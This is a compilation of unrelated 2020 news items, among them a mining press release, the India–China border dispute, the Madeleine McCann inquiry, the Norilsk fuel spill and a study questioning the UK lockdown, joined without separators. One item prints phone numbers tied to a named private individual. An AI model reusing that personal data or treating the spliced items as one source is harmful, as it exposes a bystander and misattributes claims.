Note: Ximen Mining Corp., is not treating this historical estimate as current mineral resources or mineral reserves. A qualified person has not done sufficient work to classify this historic estimate as current mineral resources or mineral reserves. Ximen considers this historic mineral resource estimate to be relevant and reliant to the extent it was based upon the results of detailed sampling and metallurgical test work. The historic estimate does not use the categories of Measured, Indicated and Inferred mineral resources as defined by the Canadian Institute of Mining, Metallurgy and Petroleum and is non-compliant with National Instrument 43-101. A new sampling campaign would be required to establish a current resource estimate.

Map showing positions of Protection-Goodenough and Ymir mines. The two deposits may be part of the same mineralized zone.

Photo of ore bin at former Protection-Goodenough mine.

The Company also acquired an additional 5 mineral claims covering approximately 589 hectares in the Hall Creek area from the same vendor that connect Ximen's Rozan and Stewart properties. These claims also cover the Gold King, a small past producer of gold, silver and copper, and the Independence and Mammoth gold-copper-silver and cooper-molybdenum prospects.

The new land acquisitions add to the total land package that Ximen has assembled since first acquiring the Kenville gold mine. Earlier this year, properties were acquired from Emgold Mining Corporation, Klondike Gold Corp. and 49er Creek Gold Corp. With this latest acquisition, Ximen's land package in the Nelson-Ymir-Salmo area now amounts to approximately 16,495 hectares.

Key points of the transaction include:

600,000 Ximen shares paid to arm's length vendor

The transaction is subject to TSX Venture Exchange approval.

Dr. Mathew Ball, P.Geo., VP Exploration for Ximen Mining Corp. and a Qualified Person as defined by NI 43-101, approved the technical information contained in this News Release.

On behalf of the Board of Directors,

"Christopher R. Anderson"

Christopher R. Anderson,

President, CEO and Director

604 488-3900

Investor Relations:

Sophy Cesar,

604-488-3900,

ir@XimenMiningCorp.com

About Ximen Mining Corp.

Ximen Mining Corp. owns 100% interest in three of its precious metal projects located in southern BC. Ximen's two Gold projects The Amelia Gold Mine and The Brett Epithermal Gold Project. Ximen also owns the Treasure Mountain Silver Project adjacent to the past producing Huldra Silver Mine. Currently, the Treasure Mountain Silver Project is under a option agreement. The option partner is making annual staged cash and stocks payments as well as funding the development of the project. The company has recently acquired control of the Kenville Gold mine near Nelson British Columbia which comes with surface and underground rights, buildings and equipment.

Ximen is a publicly listed company trading on the TSX Venture Exchange under the symbol XIM, in the USA under the symbol XXMMF, and in Frankfurt, Munich, and Berlin Stock Exchanges in Germany under the symbol 1XMA and WKN with the number as A2JBKL.

This press release contains certain "forward-looking statements" within the meaning of Canadian securities This press release contains certain "forward-looking statements" within the meaning of Canadian securities legislation, including statements regarding the receipt of TSX Venture Exchange approval and the exercise of the Option by Ximen. Although the Company believes that such statements are reasonable, it can give no assurance that such expectations will prove to be correct. Forward-looking statements are statements that are not historical facts; they are generally, but not always, identified by the words "expects," "plans," "anticipates," "believes," "intends," "estimates," "projects," "aims," "potential," "goal," "objective," "prospective," and similar expressions, or that events or conditions "will," "would," "may," "can," "could" or "should" occur, or are those statements, which, by their nature, refer to future events. The Company cautions that forward-looking statements are based on the beliefs, estimates and opinions of the Company's management on the date the statements are made and they involve a number of risks and uncertainties. Consequently, there can be no assurances that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Except to the extent required by applicable securities laws and the policies of the TSX Venture Exchange, the Company undertakes no obligation to update these forward-looking statements if management's beliefs, estimates or opinions, or other factors, should change. Factors that could cause future results to differ materially from those anticipated in these forward-looking statements include the possibility that the TSX Venture Exchange may not accept the proposed transaction in a timely manner, if at all. The reader is urged to refer to the Company's reports, publicly available through the Canadian Securities Administrators' System for Electronic Document Analysis and Retrieval (SEDAR) at www.sedar.com for a more complete discussion of such risk factors and their potential effects.

This press release shall not constitute an offer to sell or the solicitation of an offer to buy any securities, nor shall there be any sale of securities in any state in the United States in which such offer, solicitation or sale would be unlawful.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

SOURCE: Ximen Mining Corp.

View source version on accesswire.com:https://www.accesswire.com/592820/Ximen-Mining-Acquires-Historic-Ymir-Protection-Gold-Property
Children play cricket by Pangong Lake, near the India-China border in Ladakh, India (Channi Anand/AP)

Indian and Chinese foreign ministry officials discussed the flaring of tensions on their disputed Himalayan border, where thousands of soldiers from the two countries have been facing off just a few hundred metres from each other for a month, an Indian official said.

The video conference came a day before generals in the Ladakh region are scheduled to meet at a border post to intensify efforts for a pullback to their pre-May positions in the region.

The army officers have held a series of meetings in the past four weeks to break the impasse.

An External Affairs Ministry statement in New Delhi said both sides agreed that they should handle their differences through peaceful discussion bearing in mind the importance of respecting each others sensitivities, concerns and aspirations and not allow them to become disputes.

Indian officials say Chinese soldiers entered the Indian-controlled territory of Ladakh in early May at three different points, erecting tents and guard posts.

Expand Close An Indian Army lorry crosses Chang la pass near Pangong Lake in Ladakh (Manish Swarup/AP) / Facebook

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Whatsapp An Indian Army lorry crosses Chang la pass near Pangong Lake in Ladakh (Manish Swarup/AP)

They said the Chinese soldiers ignored repeated verbal warnings to leave, triggering shouting matches, stone-throwing and fistfights.

China has sought to downplay the confrontation while providing little information.

Indian media reports say that the two armies have moved artillery guns in the region.

China has objected to India building a road through a valley connecting the region to an airstrip, possibly sparking its move to assert control over territory along the border that is not clearly defined in places.

India and China fought a border war in 1962 and have been trying since the early 1990s to settle their dispute without success.

In all, China claims some 35,000 square miles of territory in Indias northeast, including the Indian state of Arunachal Pradesh with its traditionally Buddhist population.

India says China occupies 15,000 square miles of its territory in the Aksai Chin Plateau in the western Himalayas, including part of the Ladakh region.
Ruth Davidson has opened up about her mental health struggles during the coronavirus pandemic.

The Former Scottish Tory leader, 40, who lives in Edinburgh, revealed she has found 'keeping her head above water' is becoming 'harder' the longer that lockdown goes on.

Writing on Hollyrood.com, Ruth said: 'When lockdown started, I tried to put in place lots of coping mechanisms to keep my head above water.

'At the point of writing, I think Ive done OK at not letting this affect me too much, but I know the longer this goes on, the harder it gets.'

Ruth Davidson, 40, who lives in Edinburgh, has revealed she has found 'keeping her head above water' is becoming 'harder' the longer that lockdown goes on

She went on to reveal that her 'significant workload', as well as 'purposeful activity' to help others throughout the lockdown, had been helping her to focus.

The mother-of-one, who lives with her fiancee Jen Wilson, 38, welcomed a son Finn, who Ruth gave birth to in October 2018.

She added that having a partner also working full-time from home, as well as a toddler to look after, meant she was 'keeping busy' and is 'tired' every night as she went to bed.

But the politician also revealed she had taken several steps in order to maintain her mental health during the crisis.

The Scottish MSP said she has tried to keep herself busy throughout lockdown, has cut out drinking and is exercising everyday (pictured last month)

She said she 'resolved' to reduce her drinking to 'almost zero', to exercise every day and to plan to eat healthy meals.

She also revealed she had been setting both short and medium-term goals, including writing lists and ticking things off.

The Tory star, who is credited with masterminding the party's revival north of the Border, resigned from the party leadership in order to be a full time mother in August.

The 40-year-old, who was touted as a future leader of the UK Conservatives until she explicitly ruled out taking on the post, will continue as MSP for Edinburgh Central until 2021.

The former leader of the Scottish Conservative party said she tried her best to avoid publicity while undergoing IVF, and sent Jen to buy pregnancy tests 'under the cover of darkness' (pictured, with Jen and Finn in October 2018)

Ruth has previously revealed that she suffered from suicidal thoughts as a teenager, and that she would not risk her mental health by running for Prime Minister.

Asked if she had her eye on No 10, the 39-year-old replied: No. I value my relationship and my mental health too much for it. I will not be a candidate.

In her impassioned resignation letter, the mother-of-one referenced the birth of her son Finn with Jen as the biggest change in her life, saying: 'I fear that having tried to be a good leader over the years, I have proved a poor daughter, sister, partner and friend.'

She wrote: 'The party and my work has always come first, often at the expense of commitments to loved ones. The arrival of my son means I now make a different choice.'
Packed with more than two million pieces of vital personal protective equipment, five 44-ton trucks head in convoy for the front line of the battle against coronavirus.

This was the remarkable scene yesterday as Mail Force, the new charity created by this paper, delivered its largest donation yet to the main UK hub of the National Health Service.

In just six weeks, the charity has raised more than 9million, all of which is being spent on sourcing new, quality protective kit for healthcare workers all over Britain.

Last week, Mail Force brought in its first weekly airlift of a million surgical face masks from China.

The Mail Force convoy of lorries and a can lined up ready to deliver PPE across the country, June 4 2020

M for Mail Force: Mail Force lorries, vans and their drivers ready to deliver PPE across the country, pictured at a warehouse in Buckshaw, near Preston, Lancashire, June 4 2020

Now, the charity has doubled its weekly cargo of 500,000 hospital aprons  all of them made at a converted cotton mill in Blackburn  to one million.

So, once all two million pieces had been packed up at the Lancashire warehouse of our suppliers, Issa Group, the convoy set off down the M6 for the NHSs central hub in the south Midlands.

This will now be a regular operation as the charity continues to reinforce national efforts to eliminate the infection wherever possible.

Mail Force convoy of lorries travel along the M6 ready to deliver PPE across the country, pictured in Lancashire, June 4 2020

Delivering PPE to our frontline heroes: Mail Force partnered with Issa Group suppliers, June 4 2020

What started six weeks ago, with Mail Forces first airlift of PPE from Shanghai, has now become a weekly boost to the UKs armoury of PPE.

Much of this equipment will go directly into the NHS.

It will also go to the adult care sector which is supplied by the Department of Health via council-run local resilience forums.

Senior care assistant Mel Lengthorn, deputy manager Debbie Fidgety, and carer Camilla Michalik pictured at the Wishmore Care Home in Malvern, which received a delivery of vital PPE from Mail Force

Left: Mail Force convoy of lorries travel along the M6 ready to deliver PPE across the country pictured in Lancashire, June 4 2020. Right: The lorries and their van drivers outside of the warehouse

The lorries travelled in a convoy down the M6 to deliver the PPE across the country, June 4 2020

At the same time, Mail Force has been making its own deliveries to individual hospitals and care homes over recent weeks.

The campaign received warm praise yesterday from the Governments PPE tsar, Lord Deighton.

In an exclusive interview with the Daily Mail, the former chief executive of the 2012 London Olympics said that the charitys popularity reflected the national enthusiasm for getting behind a great cause.

The thing in this whole exercise which I find most heartening is that if you give the British people  whether it is individuals or healthcare workers, whether its companies big or small  the chance to be part of it, theyre brilliant, he said.

The biggest lesson I learned from the Olympics is if you let the Brits join in, they are the best people in the world.

'If you try and kind of keep people out of stuff, we dont like that. We feel a bit resentful. So thank you, Mail Force.

Many Mail readers donating to the charity have written poignant letters about the need to support front-line workers.

Marie Butcher, from Suffolk, donated in memory of her GP, Dr Fayez Ayache, who was one of the first health workers to die of Covid-19.

Dr Ayache, who had worked for the NHS for more than 40 years, was admitted to Ipswich Hospital on April 2, and died six days later.

HERE'S HOW TO DONATE Mail Force Charity has been launched with one aim to help support NHS staff, volunteers and care workers fight back against Covid-1 in the UK. Mail Force is a separate charity established and supported by the Daily Mail and General Trust. The money raised will fund essential equipment required by the NHS and care workers. This equipment is vital in protecting the heroic staff whilst they perform their fantastic work in helping the UK overcome this pandemic. If we raise more money than is needed for vital Covid-1 equipment, we will apply all funds to support the work of the NHS in other ways. Click the button below to make a donation: DONATE NOW If the button is not visible, click here Advertisement

Mrs Butcher wrote: He was a great doctor and the most kind and thoughtful man. Like many others, I was extremely sad at his loss.

'Thank you for all you have done and are doing to support all the front-line workers in health and social care by providing PPE.

Mail Force supporter Jane Wilkinson, of Kirkheaton, West Yorkshire, added: As a retired district nursing sister, I find it very difficult to accept that staff from all disciplines have not been provided with adequate PPE.

Another retired NHS worker donating to the charity, Elizabeth McAlister, of Belfast, said: As a practising nurse for over 40 years, I am so proud to have been a member of this profession.

I worked in an acute unit during the years of what became known as The Troubles.

'It is heart-warming now to know that the service and sacrifice so freely given by nurses is now being recognised.

Few places are more happy and relieved to see fresh supplies of PPE than Britains care homes.

Staff at Wishmoor Care Home in Malvern, Worcestershire, came out this week to welcome a delivery of Mail Force gowns, coveralls, face masks and hospital aprons.

The charity had been contacted by Angela Pulford, in memory of her uncle, Tom Jones, who was a resident there before he caught Covid-19 in hospital in Redditch, after suffering a fall and fracturing his hip.

He died on April 4, just two days after he was diagnosed.

Mrs Pulford spoke of her uncles 98th birthday party at Wishmoor on March 18, when he was pictured blowing out his candles on his cake.

The convoy drove through the rain down the M6 on Thursday to deliver PPE, June 4 2020

She said staff at the home treated the war veteran like family. He even had a greenhouse there where he grew his own tomatoes.

Mr Jones had served with the Royal Engineers in Burma during World War Two.

He used to tell his family tales of leeches, snakes and transporting ammunition by mule, said Mrs Pulford.

After the war he worked as a carpenter and was married for 66 years to Joyce, with whom he had a son, Roy, who died from leukaemia in 2017.

Mel Lengthorn, senior care assistant, said that the Mail Force PPE will help staff enormously, adding: We use the PPE every day and in all sorts of settings.

As Angela Pulford reflected: If Mail Forces brilliant campaign saves other families from losing loved ones, it is well worth supporting. I am sure you have made a huge difference.
Doosan logo in front of Doosan Tower in central Seoul. Yonhap



By Kim Hyun-bin



Doosan Group's debt restructuring plan to save Doosan Heavy & Construction, a major pillar of the company that builds turbines, power plants and roads, could come down to whether it sells cash cow affiliates Doosan Infracore and Bobcat.



The group is initially seeking to sell Doosan Solus and its Doosan Tower headquarters in Seoul, but is keen to hold onto the two key affiliates. However, creditors are urging it to sell the companies to secure the 3 trillion won it promised to save the debt ridden Doosan Heavy.



Doosan promised the Korea Development Bank and Export-Import Bank of Korea that it would raise 3 trillion won by unloading some "none-core and core assets."



However, it could be problematic to sell off Bobcat as its performance is directly related to Doosan Infracore's performance.



Last year, Doosan Infracore recorded 11.47 trillion won in sales of which 2.86 trillion was made internally through affiliates. Out of this figure, 2.28 trillion was from developing construction equipment in which 40 percent came from Bobcat.



In addition, Bobcat is one of the few remaining cash-cow affiliates of Doosan Group and considered a lifeline for Doosan Heavy. Doosan Heavy's corporate governance comes down to Doosan Group -Doosan Infracore- Doosan Bobcat.



Doosan Infracore is the largest shareholder of Bobcat with 51.05 percent, followed by the National Pension Service with 7.61 percent and the world's largest investment management firm Blackrock with 6.21 percent. The total assets of Bobcat were estimated at 2.35 trillion won as of April this year, and it is positioned to generate 400 billion won in operating profit, annually.



Doosan Heavy has procured major government projects and until it can normalize operations many industry watchers claim Bobcat needs to be held on to.



Doosan Group is left in a tough situation, as many experts believe the selloff of Infracore and Bobcat to save Doosan Heavy could make the conglomerate's financial situation even worse, as they are the only two affiliates capable of generating revenue.



"Excluding Doosan Infracore and Bobcat, there is nothing left," an official familiar with the issue said. "Many of Doosan Heavy's projects are directly related to the national interest so to normalize the firm's operation, there needs to be restructuring measures to save its key affiliates as well."



Meanwhile, state-run creditors the Korea Development Bank and the Export-Import Bank of Korea decided to issue an additional 1 trillion won in the form of a bridging loan to Doosan Heavy.



The two creditors have slapped a condition on Doosan Heavy calling for it to transform its business portfolio into an "eco-friendly" one.



The creditors expects the debt restructuring plan will help Doosan Heavy stand on its own.


Hong Kong: As China tightens its control over Hong Kong, activists in the city defied a police ban and broke through barricades on Thursday evening to mark the 31st anniversary of the crushing of a democracy movement centered on Beijing's Tiananmen Square.

With democracy all but snuffed out in mainland China, the focus has shifted increasingly to semi-autonomous Hong Kong, where authorities for the first time banned an annual candlelight vigil marking the anniversary of the 1989 crackdown.

An aerial view of a vigil in Victoria Park, Hong Kong to mark the 31st anniversary of the Tiananmen Square Massacre. Credit:AP

Police cited the need for social distancing during the coronavirus outbreak and barricaded sprawling Victoria Park to prevent people from gathering there. Beijing is taking a tougher stance following months of anti-government protests last year, in what activists see as an accelerating erosion of the city's rights and liberties.

"We all know the Hong Kong government and the Chinese government really don't want to see the candle lights in Victoria Park," said Wu'er Kaixi, a former student leader who was No. 2 on the government's most-wanted list following the Tiananmen Square crackdown.
T he name of the owner of the phone used to call the German paedophile suspected of killing Madeleine McCann shortly before she disappeared was apparently revealed today  amid hopes it could lead to a crucial witness.

The Portuguese daily Jornal de Noticias said the phone from which Christian Bruckner was called just over an hour before she vanished from her familys Praia da Luz holiday apartment was registered to a man named Diogo Silva.

The phone number is one of two released by Scotland Yard this week in an attempt to uncover information about Madeleines fate.

Detectives  who have since received hundreds of calls  said that the person who used it to call the suspect, later named by the media as Bruckner, was a key witness and that any information could be critical in establishing what happened.

German paedophile Christian Bruckner is suspected of killing Madeleine McCann

It was unclear today whether Mr Silva made the call or whether the phone was either used by another person on the night of Madeleines disappearance or registered falsely under his name in a bid to avoid detection.

Jornal de Noticias said the number Bruckner was called from (+351) 916 510 683 was registered to a man called Diogo Silva, which is a common name in Portugal.

It also said the same contact was used to register a WhatsApp account which was now de-activated and offered no address information.

The caller is not believed to have been in the Praia da Luz area, although police have established that Bruckner was in the resort when Madeleine disappeared and using the other mobile number  (+351) 912 730 680  that officers made public.

The call made by the number registered to Mr Silva to the suspected killer lasted from 7.32pm to 8.02pm on May 3, 2007. Madeleine, then three, disappeared between 9.10pm and 10pm the same evening.

The new development came as police in Germany, Britain and Portugal continued to search for further evidence to either charge Bruckner or rule him out of their inquiries despite his long history of sexual offending and targeting of girls.

German police have said they believe that Madeleine is dead and that Bruckner, who they have not officially identified, is the likely killer.

Bruckner, now 43, a drifter who burgled hotels and dealt drugs while living in the Algarve for 12 years, is already in prison after being convicted last year of raping a 72-year-old American tourist in Praia da Luz less than two years before Madeleine vanished and for an earlier child abuse offence.

Reports in Germany claimed, however, that detectives are in a race against time to bring charges because of the possibility that he could be released from prison on parole because of a pending appeal over the rape conviction and the time he has spent in jail for the other offence.

The house in Praia da Luz where Christian Bruckner was living at the time of Madeleine McCann's disapearance / PA

They also said that they believe others are aware of details of the crime and the possible location of Madeleines body but they need further information.

Bruckner spent several years living at a ramshackle farmhouse on the outskirts of Praia da Luz. He is thought to have left around 2005 and used his camper van as a home. He has also been linked to a property further inland called Escola Velha, Old School in English, where he used to help its owner with odd-jobs and dog-sitting.

A former neighbour said: He moved in in the mid-Nineties with a girlfriend who left around a year and a half later.

They seemed to have a tempestuous relationship. I would hear them arguing. I knew very little about his life but he seemed to me to be a choleric man.

Another added: He had a fall-out with another German he sub-let the place to for around six months. He treated him very badly.

Madeleine McCann's parents have described the developments as significant / AFP via Getty Images

Scotland Yard, which is appealing for information about the VW camper van and a Jaguar car used by Bruckner, has said the tip-off that led them to focus on the German came following a 2017 appeal.

It is claimed that Bruckner saw footage of the appeal while in a bar and admitted to a friend he was drinking with that he had snatched Madeleine.

Police have received hundreds of contacts from the public following the launch of a new appeal for information on the disappearance.
MOSCOW - A major fuel spill in Siberia has prompted Russian President Vladimir Putin to declare a state of emergency in an environmentally sensitive Arctic region after publicly scolding local authorities for what he said was a botched response.

A fuel tank at a power plant ruptured Friday in Norilsk - above the Arctic Circle in north-central Russia - leaking at least 20,000 tons of diesel fuel into the nearby Ambarnaya River. Satellite images showed large swaths of the waterway contaminated from the spill.

Norilsk Nickel, the parent company of the plant, believes the region's melting permafrost caused a reservoir to collapse, touching off the leak. Permafrost thawing across Siberia, linked to climate change, has caused widespread problems such as buckled roads, collapsed homes and disruptions to traditional herding and agriculture.

Russia's branch of the environmental group Greenpeace described the spill as the largest in the Russian Arctic's history, comparing it to the much larger Exxon Valdez oil spill of 1989 off Alaska in terms of potential environmental damage. The cleanup in the Arctic could cost more than $86 million, Greenpeace estimated.

The station's employees originally tried to contain the leak on their own and did not report the incident to emergency services for two days, Yevgeny Zinichev, head of the Emergency Situations Ministry, said Wednesday during a nationally televised meeting chaired by Putin.

The governor of the Krasnoyarsk region, Alexander Uss, told Putin that he became aware of the oil spill on Sunday after "alarming information appeared in social media."

Putin then snapped at Sergei Lipin, the head of the subsidiary that owns the power plant, Norilsk-Taimyr Energy.

"Are we going to learn about emergency situations from social media?" he said.

Lakes and waterways more than 12 miles from the site contained concentrations of petroleum products that were tens of thousands of times higher than the maximum permissible limit, according to Russia's regulatory agency for natural resources.

Lipin told Putin: "In line with the plan, this information was reported."

"Was it really?" Putin responded. "Well, OK. I'll have to ask the relevant monitoring and law enforcement agencies to find out what kind of information was reported where and what the response was from all those who are supposed to act accordingly in line with instructions."

The Russian Investigative Committee said it has launched a criminal case over the pollution and alleged negligence. The power plant's director, Vyacheslav Starostin, was been taken into custody Thursday until July 31, but he has not yet been charged.

This was the first spill for Norilsk Nickel, the world's leading nickel and palladium producer. In 2016, an accident at another one of its plants spewed oil into a nearby river. The industrial city of around 175,000 people, for whom Norilsk Nickel is the main employer, is considered one of Russia's most polluted.

It is also in a part of Siberia that's experienced abnormally warm temperatures for this time of year - average temperatures since January are running at least 5.4 degrees above the long-term average, according to the U.S. National Oceanic and Atmospheric Administration.

Siberia, together with the Arctic as a whole, is warming at a much faster rate than other regions due to feedback that serve to hasten warming. This is raising concerns about its melting permafrost, which Sergey Dyachenko, Norilsk Nickel's chief operating officer, pointed to as the cause for last week's spill.

The current infrastructure present in the Arctic was constructed on the assumption that permafrost would, as its name suggests, be permanent. Thawing permafrost can destabilize structures, with giant holes already opening up in Siberia due in part to the thaw there.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

A study published in Nature Communications in 2018 found that 45% of the hydrocarbon extraction fields in the Russian Arctic are located in areas "where thaw-related ground instability can cause severe damage to the built environment," though it projected the worst impacts to unfold by mid-century.

Cleanup efforts for the Norilsk spill are expected to be especially tricky with the Ambarnaya River's remote location. There are no roads, and it's too shallow to use barges. Dyachenko told reporters Thursday that the company plans "to transport contaminated oil to temporary sites for remediation."

Containment booms have been placed on the river to prevent oil from spreading further, but Greenpeace said on its website that they "will help collect only a minor part of the pollution, and therefore it would be safe to say that nearly all of the diesel fuel will remain in the environment."

Uss, the region's governor, told Putin on Wednesday that he could not make predictions about how long cleanup might take.

"What exactly will be done? You're the governor, after all," Putin said.

---

The Washington Post's Andrew Freedman in Washington contributed to this report.
Protesters accuse police officers of beating a construction worker in custody to death.

While protesters in the United States mourn George Floyd, police brutality is also a concern south of the border in Mexico.

Mexicans protested against police brutality in the second-largest city, Guadalajara, accusing the police officers who arrested a construction worker of beating him to death.

The governments human rights minister has condemned the use of excessive force.

But police deny that.

Al Jazeeras Laura Burdon-Manley has more.
India Hopes Talks Resolve China Faceoff Along Border

By Anjana Pasricha June 04, 2020

A standoff between Indian and Chinese troops along their disputed border in the northern Himalayas shows no signs of easing. But even as the Asian giants have moved troops and heavy artillery into the region, talks are being held at the military and diplomatic levels to resolve the tensions, according to Indian officials.

"They (Chinese soldiers) are present in sizeable numbers," Indian Defense Minister Rajnath Singh told an Indian television channel on Tuesday, confirming the presence of a substantial number of troops along the border. "Whatever needs to be done, India has also done."

The main faceoff centers around the Galwan Valley and the Pangong Tso Lake in Ladakh, which controls access to several strategic points on their Himalayan border.

Officials in New Delhi have told local media that Chinese soldiers entered Indian territory at three different points, erecting tents and guard posts prompting India to shore up its presence.

Indian analysts say the trigger for the latest flare-up between the two countries is the building of infrastructure such as roads in the border region by New Delhi.

"The government has speeded up border construction activities, road building, reactivated airports, which Chinese are not able to digest maybe," says P. Stobdan, a former diplomat and expert on India-China affairs. "So accessibility for Indian troops to the border has gone up and patrolling in the area has also gone up."

Soldiers injured

The border tensions between the Asian giants have escalated since early May when a scuffle broke out between Indian and Chinese soldiers at Pangong Tso Lake in Ladakh injuring several soldiers.

The troop build-up is the most serious since 2017 when the armies of two Asian countries were locked in an eyeball-to-eyeball confrontation for two-and-a-half months near the tri-junction point between India, China and Bhutan. That standoff, sparked by Chinese soldiers building a road that could have potentially compromised Indian security, was eventually resolved through diplomatic talks.

Several stretches of the nearly 3,500-kilometer-long India-China border, or what is called the "Line of Actual Control," are undemarcated. As troops from both sides patrol the border, scuffles due to differing perceptions of what marks each one's territory erupt occasionally between soldiers but are usually settled by local military commanders.

The latest flare-up, however, is far more serious.

"They claim that it is their territory. Our claim is that it is our area. There has been a disagreement over it," Minister Singh said referring to the current military standoff.

He expressed hope that the dispute will be settled through negotiations. "What can be better if it can be resolved through talks?" But he has also said that India will not let "its pride be hurt."

Beijing has not officially acknowledged any additional recent deployment of forces to the India-China border. However the Chinese foreign ministry spokesman Zhao Lijian described the overall situation along the border as "stable and controllable" at a regular press briefing on Monday.

"Between China and India, there are unimpeded channels for border-related communication in diplomatic and military fields. We believe the issues can be resolved after bilateral negotiations and consultations," he said.

Trump talks to Indian prime minister

The situation along the India-China border was among several issues discussed during a telephone conversation on Tuesday between U.S. President Donald Trump and Indian Prime Minister Narendra Modi, according to India's foreign ministry.

Senior U.S. officials have also weighed in on the border tensions between the two countries. U.S. Secretary of State Mike Pompeo told the American Enterprise Institute on Monday that China's moving of troops to the line of actual control echoed similarly heavy-handed behaviour over the coronavirus, South China Sea and Hong Kong. "These are the kind of actions that authoritarian regimes take," he told the think tank in remarks released by the State Department.

Expressing concern about the "ongoing Chinese aggression" on the India-China border, the chairman of the House Committee on Foreign Affairs, Eliot L. Engel, said in a recent statement that "China is demonstrating once again that it is willing to bully its neighbors rather than resolve conflicts according to international law."

Senior Indian military commanders are expected to hold talks on Saturday to discuss the situation.

"India is standing up, sticking to its position. Hopefully the tensions will be deescalated, but who knows," says former ambassador Stobdan.

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Khamenei Describes Events In The US As True 'Nature Of America'

Radio Farda June 04, 2020

While Iranian state-run media are lambasting the U.S. over the killing of George Floyd killing and the resulting civil unrest, the Supreme Leader of the Islamic Republic Ali Khamenei has limited his reaction to two tweets and brief comments in a speech.

"The fact that a policeman has cold-bloodedly pressed his knee on the throat of a black man until he died and that other policemen watched on without doing anything is nothing new," Khamenei said in a televised speech on Wednesday, June 3 marking the 31st anniversary of Ayatollah Rouhollah Khomeini death.

"The crime committed against this black man is the same thing the US govt has been doing against all the world. They have done the same in Afghanistan, Iraq, Syria, Vietnam, & many other countries. This is the US govt's nature & character that is being exposed today." Khamenei maintained.

Meanwhile, in a series of tweets, Khamenei claimed that the United States today is experiencing what the USSR faced at the time of its collapse.

Referring to his predecessor, the founder of the Islamic Republic, Khamenei tweeted, "Imam Khomeini caused the US leaders at that time to admit that Khomeini had humiliated them. #ImamKhomeini proved that superpowers can be broken and beaten."

Khamenei, who has never criticized the Islamic Republic security forces and intelligence agents for brutally killing hundreds of protesters, has not missed the chance to blast the U.S. government for its reaction to the recent unrest. Reuters reported in December that Khamenei personally authorized the use of lethal force against protesters in mid-November.

"In dealing with its people, the US govt has behaved in the worst manner. The people of the United States have every right to feel embarrassed and ashamed by their govts, particularly the current govt", Khamenei said in one of his tweets.

During his televised speech, Khamenei also said, "These (recent developments in the U.S.) are realities that have always been camouflaged or hidden, but they are not new".

Source: https://en.radiofarda.com/a/khamenei-describes-events-in-the -us-as-true-nature-of-america-/30651270.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Portuguese police last night hit back at claims that Madeleine McCann suspect Christian Brueckner slipped through their net.

Policia Judiciaria insisted the Germans name was one of those passed to British police in case files in 2012  and said Scotland Yard had never asked them to take a closer look at him.

Deputy director Carlos Farinha said: If the suspicions about this man were so obvious, he would have been the subject of requests made by the British, which were always authorised by Portugal, but those requests about him were never made.

Portuguese police have defended their investigation into the 2007 disappearance of Madeleine McCann, pictured, claiming they passed on details of German paedophile Christian Brueckner to the Metropolitan Police in 2012

Christian Brueckner, pictured, was identified as the chief suspect by German police

In an interview with Portuguese news agency Lusa, he added: If the PJ is being accused of giving Brueckner a lack of priority, the same could be said of the Metropolitan Police. In theory everything could have been different but in 2007 and in 2012 we didnt known what we knew in 2017.

He said this weeks fresh appeal was an initiative of the German police who were convinced it could lead to additional information coming in.

But appearing to hint that the evidence the three police forces have may not be enough to bring charges and a successful prosecution, he said: Suspicions about the German national have grown but unfortunately they are not enough to make him an arguido and formally accuse him.

A former senior British detective who was sent to Praia da Luz days after Madeleine vanished yesterday launched a withering attack on the Portuguese police.

Graham Hill said he had serious misgivings about the quality of the search strategy, the recording of full-time and casual staff at the (Ocean Club) holiday complex, identification of all known suspected and convicted sex offenders living or frequenting the area, and other significant or relevant crimes in the local area. He added: My professional opinion was that the Portuguese investigative approach to Madeleines disappearance was flawed and not fit for purpose when set against what would have been done in a similar investigation in the UK.

German prosecutor Hans Christian Wolters, pictured, announced this week that they believe Madeleine McCann has been murdered

Mr Hill said that Brueckners emergence as a key suspect raised several questions: Was he known to the Portuguese investigation team at the time? If so, when did his name enter their system and what did they do to implicate or eliminate him from their enquiry? When was his name passed on to the UK investigation team? These are questions at the forefront of my mind as I think back to my time in Portugal.
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Britain's coronavirus outbreak may have been under control before lockdown was enforced, according to a study that throws into question whether the draconian measures were ever needed.

Data modelling by a mathematician at Bristol University suggests the spread of Covid-19 throughout the UK had peaked days before Boris Johnson introduced the unprecedented curbs.

The calculation is based on a growing body of data that indicates the average Covid-19 victim dies 23 days after being infected.

The darkest days in the UK's outbreak were on April 8 and 9, when more than 2,000 people passed away from the virus, official figures show.

Professor Simon Wood believes most of these patients were infected between March 18 and 19 - 23 days earlier - and five days before the country locked down.

He claims that banning large gatherings and telling people to keep two metres apart would have been sufficient to keep the virus under control.

The study throws into question whether Britain's lockdown was needed amid claims social distancing policies announced on March 16 curbed the crisis on their own.

It comes after similar research in Norway also found the spread of the virus fell fairly quickly there by the time people were ordered to stay at home.

Camille Stoltenberg, head of the Norwegian Institute of Public Health (NIPH), even admitted last month that locking down was unnecessary.

Modelling by Professor Simon Wood shows the spread of the virus had already peaked several days before the draconian curbs were imposed and was falling. The grey line marks March 23, when the UK locked down. The darkest days in the UK's outbreak were on April 8 and 9, when more than 2,000 people passed away from the virus. Professor Simon Wood believes most of these patients were infected between March 18 and 19 - 23 days earlier - and five days before the country locked down

Norway went into lockdown on March 12, but its infections were already on the way down before then (shown as the black line)

Royal College of GP data shows the number of people with flu-like illness in England and Wales dropped by 50 per cent when hand-washing and social distancing was encouraged on March 16

There can be a time lag of more than three weeks between someone becoming infected with coronavirus and dying. Symptoms take days - if not weeks - to become life-threatening. The death has to be recorded and reported, and the family notified, in a process that takes days

The UK's crisis followed the same trajectory as Sweden's, despite the Scandinavian country not going into lockdown. Daily reported deaths with COVID-19 (blue) in the UK (left) and Sweden (right) since March 13th. In red is the UK ONS data for England and Wales for all locations of death by registered day of death, illustrating the lag in reported deaths

